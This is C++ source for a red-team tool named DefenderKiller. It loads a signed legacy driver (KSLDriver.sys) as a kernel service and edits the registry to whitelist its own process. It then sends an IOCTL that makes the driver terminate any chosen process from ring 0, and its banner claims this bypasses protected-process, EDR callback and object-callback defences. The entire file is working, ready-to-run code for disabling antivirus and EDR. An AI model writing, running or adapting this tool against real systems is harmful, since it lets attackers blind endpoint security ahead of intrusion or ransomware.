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DefenderKiller/DefenderKiller.cpp
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/*
* DefenderKiller
* Kernel process termination using Microsoft's own signed driver
* KSLDriver.sys (2011) - ZwTerminateProcess from ring 0
*
* Author: Jehad Abudagga
* X: @j3h4ck | GitHub: @redteamfortress
*/
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#include <tlhelp32.h>
#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ntdll.lib")
#define IOCTL 0x222044
#define SVC "DefenderKiller"
#define DEV L"\\\\.\\DefenderKiller"
typedef NTSTATUS(WINAPI* pNtQIP)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
BOOL GetNtPath(WCHAR* out)
{
pNtQIP fn = (pNtQIP)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
if (!fn) return FALSE;
ULONG n = 0;
fn(GetCurrentProcess(), (PROCESSINFOCLASS)27, NULL, 0, &n);
if (!n) return FALSE;
BYTE* b = (BYTE*)calloc(n + 2, 1);
if (fn(GetCurrentProcess(), (PROCESSINFOCLASS)27, b, n, NULL))
{
free(b); return FALSE;
}
UNICODE_STRING* us = (UNICODE_STRING*)b;
wcsncpy(out, us->Buffer, us->Length / 2);
out[us->Length / 2] = 0;
free(b);
return TRUE;
}
BOOL IsDriverLoaded(void)
{
HANDLE h = CreateFileW(DEV, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h != INVALID_HANDLE_VALUE) { CloseHandle(h); return TRUE; }
return FALSE;
}
int CmdLoad(const char* path)
{
if (GetFileAttributesA(path) == INVALID_FILE_ATTRIBUTES)
{
printf("[-] Driver not found: %s\n", path); return 1;
}
SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (!scm) { printf("[-] Access denied. Run as administrator.\n"); return 1; }
printf("[*] Cleaning up stale service...\n");
SC_HANDLE old = OpenServiceA(scm, SVC, SERVICE_ALL_ACCESS);
if (old) { SERVICE_STATUS ss; ControlService(old, SERVICE_CONTROL_STOP, &ss); DeleteService(old); CloseServiceHandle(old); Sleep(500); }
printf("[*] Creating service '%s'...\n", SVC);
SC_HANDLE svc = CreateServiceA(scm, SVC, SVC, SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, path, 0, 0, 0, 0, 0);
if (!svc) { printf("[-] CreateService failed: %lu\n", GetLastError()); CloseServiceHandle(scm); return 1; }
printf("[*] Configuring registry...\n");
char rp[256];
sprintf(rp, "SYSTEM\\CurrentControlSet\\Services\\%s", SVC);
HKEY hk;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, rp, 0, KEY_SET_VALUE, &hk) == ERROR_SUCCESS)
{
WCHAR dn[] = L"DefenderKiller";
RegSetValueExW(hk, L"DeviceName", 0, REG_SZ, (BYTE*)dn, sizeof(dn));
WCHAR ip[512];
swprintf(ip, 512, L"\\??\\%hs", path);
RegSetValueExW(hk, L"ImagePath", 0, REG_SZ, (BYTE*)ip, (DWORD)(wcslen(ip) + 1) * 2);
WCHAR np[512] = { 0 };
if (GetNtPath(np))
{
RegSetValueExW(hk, L"AllowedProcessName", 0, REG_SZ, (BYTE*)np, (DWORD)(wcslen(np) + 1) * 2);
printf("[*] AllowedProcess: %S\n", np);
}
RegCloseKey(hk);
}
printf("[*] Starting driver...\n");
if (!StartServiceA(svc, 0, NULL) && GetLastError() != ERROR_SERVICE_ALREADY_RUNNING)
{
printf("[-] StartService failed: %lu\n", GetLastError()); DeleteService(svc); CloseServiceHandle(svc); CloseServiceHandle(scm); return 1;
}
CloseServiceHandle(svc);
CloseServiceHandle(scm);
printf("[*] Verifying device access...\n");
HANDLE h = CreateFileW(DEV, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) { printf("[-] Device \\\\.\\%s not accessible\n", SVC); return 1; }
CloseHandle(h);
printf("[+] Driver loaded successfully\n");
printf("[+] Service: %s\n", SVC);
printf("[+] Device: \\\\.\\%s\n", SVC);
printf("[+] Driver: %s\n", path);
return 0;
}
int CmdKill(const char* target)
{
DWORD pid = 0;
char procName[260] = { 0 };
if (target[0] >= '0' && target[0] <= '9')
{
pid = atoi(target);
/* resolve name for display */
WCHAR wName[260] = { 0 };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe; pe.dwSize = sizeof(pe);
if (Process32FirstW(snap, &pe))
do { if (pe.th32ProcessID == pid) { WideCharToMultiByte(CP_ACP, 0, pe.szExeFile, -1, procName, 260, NULL, NULL); break; } } while (Process32NextW(snap, &pe));
CloseHandle(snap);
}
else
{
strncpy(procName, target, 259);
WCHAR wTarget[260] = { 0 };
MultiByteToWideChar(CP_ACP, 0, target, -1, wTarget, 260);
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe; pe.dwSize = sizeof(pe);
if (Process32FirstW(snap, &pe))
do { if (_wcsicmp(pe.szExeFile, wTarget) == 0) { pid = pe.th32ProcessID; break; } } while (Process32NextW(snap, &pe));
CloseHandle(snap);
if (!pid) { printf("[-] Process '%s' not found\n", target); return 1; }
}
if (!pid || pid == 4) { printf("[-] Cannot kill PID %u\n", pid); return 1; }
printf("[*] Target: %s (PID %u)\n", procName[0] ? procName : "unknown", pid);
if (!IsDriverLoaded())
{
printf("[-] Driver not loaded. Run 'load' first.\n");
return 1;
}
printf("[*] Opening device...\n");
HANDLE h = CreateFileW(DEV, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) { printf("[-] Device open failed: %lu\n", GetLastError()); return 1; }
printf("[*] Setting target PID %u...\n", pid);
BYTE cmd[8] = { 0 }, out[8] = { 0 };
DWORD br = 0;
*(DWORD*)cmd = 8;
*(DWORD*)(cmd + 4) = pid;
if (!DeviceIoControl(h, IOCTL, cmd, 8, out, 8, &br, NULL))
{
printf("[-] IOCTL failed: %lu\n", GetLastError()); CloseHandle(h); return 1;
}
printf("[*] Closing handle (triggers ZwTerminateProcess)...\n");
CloseHandle(h);
Sleep(300);
HANDLE hc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
if (!hc)
{
printf("[+] Process %s (PID %u) terminated\n", procName[0] ? procName : "unknown", pid);
return 0;
}
CloseHandle(hc);
printf("[-] PID %u still alive\n", pid);
return 1;
}
int CmdUnload(void)
{
SC_HANDLE scm = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (!scm) { printf("[-] Access denied\n"); return 1; }
SC_HANDLE svc = OpenServiceA(scm, SVC, SERVICE_ALL_ACCESS);
if (!svc)
{
printf("[*] Service '%s' not found (already clean)\n", SVC);
CloseServiceHandle(scm);
return 0;
}
SERVICE_STATUS ss;
printf("[*] Stopping service...\n");
ControlService(svc, SERVICE_CONTROL_STOP, &ss);
Sleep(300);
printf("[*] Deleting service...\n");
DeleteService(svc);
CloseServiceHandle(svc);
CloseServiceHandle(scm);
printf("[+] Driver unloaded and service removed\n");
return 0;
}
int main(int argc, char** argv)
{
if (argc < 2)
{
printf("\n");
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printf(" ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝ \n");
printf("\n");
printf(" Jehad Abudagga\n");
printf(" X: @j3h4ck | GitHub: @redteamfortress\n\n");
printf(" Microsoft's own signed driver turned against itself.\n");
printf(" KSLDriver.sys (2011) kernel ZwTerminateProcess.\n");
printf(" Bypasses PPL, EDR callbacks, ObRegisterCallbacks.\n\n");
printf(" Usage:\n");
printf(" %s load <driver_path>\n", argv[0]);
printf(" %s kill <PID | process_name>\n", argv[0]);
printf(" %s unload\n\n", argv[0]);
return 1;
}
if (_stricmp(argv[1], "load") == 0)
{
if (argc < 3) { printf("[-] Usage: %s load <path_to_KSLDriver_2011.sys>\n", argv[0]); return 1; }
return CmdLoad(argv[2]);
}
if (_stricmp(argv[1], "kill") == 0)
{
if (argc < 3) { printf("[-] Usage: %s kill <PID | process_name>\n", argv[0]); return 1; }
return CmdKill(argv[2]);
}
if (_stricmp(argv[1], "unload") == 0)
return CmdUnload();
printf("[-] Unknown command: %s\n", argv[1]);
return 1;
}